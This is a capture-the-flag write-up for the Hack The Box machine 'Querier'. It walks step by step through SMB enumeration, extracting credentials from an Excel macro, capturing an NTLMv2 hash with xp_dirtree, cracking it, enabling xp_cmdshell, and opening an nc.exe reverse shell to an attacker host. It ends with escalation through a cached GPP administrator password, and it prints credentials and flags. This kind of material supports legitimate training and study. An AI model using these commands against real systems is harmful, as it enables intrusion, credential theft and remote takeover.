# Querier

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FRYPwLvS18pn8VPYN9IeY%2Fquerier.png?alt=media&#x26;token=49292358-5603-47b1-82fe-eacc6535c874" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.125 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Mon Apr  3 19:49:39 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.125
Nmap scan report for 10.10.10.125
Host is up (0.040s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

# Nmap done at Mon Apr  3 19:49:53 2023 -- 1 IP address (1 host up) scanned in 14.05 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Mon Apr  3 19:50:25 2023 as: nmap -sCV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -Pn -n -oN targeted 10.10.10.125
Nmap scan report for 10.10.10.125
Host is up (0.039s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-04-03T17:47:51
|_Not valid after:  2053-04-03T17:47:51
|_ssl-date: 2023-04-03T17:51:29+00:00; 0s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-04-03T17:51:25
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  3 19:51:29 2023 -- 1 IP address (1 host up) scanned in 63.93 seconds
```

{% endcode %}

Let's start by enumerating the SMB service. As we can see there is one share called `Reports` in which we have read privileges.

> smbmap -H 10.10.10.125 -u 'guest'

{% code overflow="wrap" %}

```
[+] IP: 10.10.10.125:445        Name: HTB.LOCAL                                         
        Disk                                            Permissions     Comment
        ----                                            -----------     -------
        ADMIN$                                          NO ACCESS       Remote Admin
        C$                                              NO ACCESS       Default share
        IPC$                                            READ ONLY       Remote IPC
        Reports                                         READ ONLY
```

{% endcode %}

Let's connect to it.

> smbclient //10.10.10.125/Reports -N

```
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jan 29 00:23:48 2019
  ..                                  D        0  Tue Jan 29 00:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 23:21:34 2019

                5158399 blocks of size 4096. 836579 blocks available
```

There is one file called `Currency Volume Report.xlsm`. Download it to our local machine.

> smb: > get "Currency Volume Report.xlsm"

## Exploitation

If we try to open it with *libreoffice*, we'll see a popup message saying that the file has macros.

> libreoffice Currency\ Volume\ Report.xlsm

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FXnhnqnhC11uzvJzEPEY5%2Fimage.png?alt=media&#x26;token=5946a46d-4e87-4454-93d1-b67a8443c57b" alt=""><figcaption></figcaption></figure>

If we check the macros of the file, we'll see that it is trying to make a connection to a MSSQL database with some credentials.

> olevba Currency\ Volume\ Report.xlsm

{% code overflow="wrap" %}

```
olevba 0.60.1 on Python 3.11.1 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+
```

{% endcode %}

Let's verify these credentials with *crackmapexec*.

> crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6'

```
SMB         10.10.10.125    445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB         10.10.10.125    445    QUERIER          [-] HTB.LOCAL\reporting:PcwTWTHRwryjc$c6 STATUS_NO_LOGON_SERVERS
```

It seems that the credentials are not valid. But if we try to verify them by setting the `WORKGROUP` domain, we'll see that they are valid.

> crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP

```
SMB         10.10.10.125    445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB         10.10.10.125    445    QUERIER          [+] WORKGROUP\reporting:PcwTWTHRwryjc$c6
```

It is also possible to log in to the MSSQL service using these credentials.

> impacket-mssqlclient -windows-auth WORKGROUP/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125

* `-windows-auth` use w**indows a**uthentication.

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL>
```

When we have access to a MSSQL database, the idea is to be able to run the `xp_cmdshell` command to run commands on the system. The problem is that we don't have the privileges to enable it with our current user.

> xp\_cmdshell whoami

{% code overflow="wrap" %}

```
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
```

{% endcode %}

For now, we can't use this utility. We could try to load a non-existent file from our SMB server with a command from the MSSQL server, so when it authenticates in our SMB server, we'll get the server's NTLMv2 hash. Set up a simple SMB server on our local system.

> impacket-smbserver smbFolder $(pwd) -smb2support

Now, connect to the SMB server from the MSSQL server, and we'll get the NTLMv2 hash of the `mssql-svc` user.

> xp\_dirtree "\\\10.10.14.5\smbFolder"

{% code overflow="wrap" %}

```
[*] Incoming connection (10.10.10.125,49698)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:d08356ebe9ff234e8594775b4d6ec6cf:010100000000000000d6db5ecb66d9015febc7f8a56e736200000000010010006e007200640059005900580055006e00030010006e007200640059005900580055006e000200100043004c005700530055006400730041000400100043004c005700530055006400730041000700080000d6db5ecb66d90106000400020000000800300030000000000000000000000000300000828eea58c497029209b2488483ca9ec4070e9cf74c17a15deacb0b302847abab0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003500000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
[*] AUTHENTICATE_MESSAGE (\,QUERIER)
[*] User QUERIER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Disconnecting Share(1:IPC$)
```

{% endcode %}

Copy and paste the hash into the `hash` file, and break it with john.

> john -w=/usr/share/wordlists/rockyou.txt hash

{% code overflow="wrap" %}

```
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)     
1g 0:00:00:03 DONE (2023-04-04 10:02) 0.2932g/s 2627Kp/s 2627Kc/s 2627KC/s correforenz..cornamuckla
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

{% endcode %}

Verify that the credentials are correct.

> crackmapexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUP

```
SMB         10.10.10.125    445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB         10.10.10.125    445    QUERIER          [+] WORKGROUP\mssql-svc:corporate568
```

Connect to the MSSQL server with the new credentials.

> impacket-mssqlclient -windows-auth WORKGROUP/mssql-svc:'corporate568'@10.10.10.125

Now we could enable the `xp_cmdshell` utility, and we would be able to run commands on the system.

> sp\_configure 'show advanced options', '1'
>
> RECONFIGURE
>
> sp\_configure 'xp\_cmdshell', '1'
>
> RECONFIGURE
>
> xp\_cmdshell whoami

```
output                                                                             

--------------------------------------------------------------------------------   

querier\mssql-svc                                                                  

NULL
```

Time to get a shell. Set a *netcat* listener on port *4444* with *rlwrap*.

> rlwrap nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Now, set a SMB server where the `nc.exe` binary is located.

> impacket-smbserver smbFolder $(pwd) -smb2support

Finally, send a reverse shell to the *netcat* listener on port *4444* with `xp_cmdshell`. Then, we'll be able to grab the user flag.

> xp\_cmdshell "\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 4444"

```
Listening on 0.0.0.0 4444
Connection received on 10.10.10.125 49700
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
querier\mssql-svc

C:\Windows\system32>type \users\mssql-svc\desktop\user.txt
type \users\mssql-svc\desktop\user.txt
2b3515a3eb580340939320ea2f176c6c
```

## Privilege Escalation

Let's create a directory called privEsc in C:\Windows\Temp and go there.

> cd \windows\temp
>
> mkdir privEsc
>
> cd privEsc

Now, let's upload the `PowerUp.ps1` script to the system to enumerate it and see if there is a way to escalate privileges. Set the SMB server where the *PowerShell* script is located.

> impacket-smbserver smbFolder $(pwd) -smb2support

And copy it to the `privEsc` folder.

> copy \\\10.10.14.5\smbFolder\PowerUp.ps1

Launch the script from a *PowerShell* console.

> powershell -ep bypass
>
> . .\PowerUp.ps1
>
> Invoke-AllChecks

{% code overflow="wrap" %}

```
Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 1972
ProcessId   : 936
Name        : 936
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p                                                                     
StartName     : LocalSystem                                                                                                       
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'                                                                                
CanRestart    : True                                                                                                              

Check         : Modifiable Services                                                                                               
                                                                                                                                  
ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc                                                                                             
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}                                                         
        : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps                                                        
Check             : %PATH% .dll Hijacks                                                                                           
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'                
                                                                                                                                  
UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml                                                                                    
Check        : Unattended Install Files                                                                                           
                                                                                                                                  
Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}                                                                                                       
NewName   : [BLANK]                                                                                                               
Passwords : {MyUnclesAreMarioAndLuigi!!1!}                                                                                        
File      : C:\ProgramData\Microsoft\Group                                                                                        
\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files
```

{% endcode %}

The script found a password for the administrator user. As we now have credentials, we can get a shell as the administrator. Then, all we have to do is reap the harvest and take the root flag.

> evil-winrm -i 10.10.10.125 -u 'administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'

{% code overflow="wrap" %}

```
Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
querier\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type \users\administrator\desktop\root.txt
cedef5487249d8c77383bc41c3416522
```

{% endcode %}
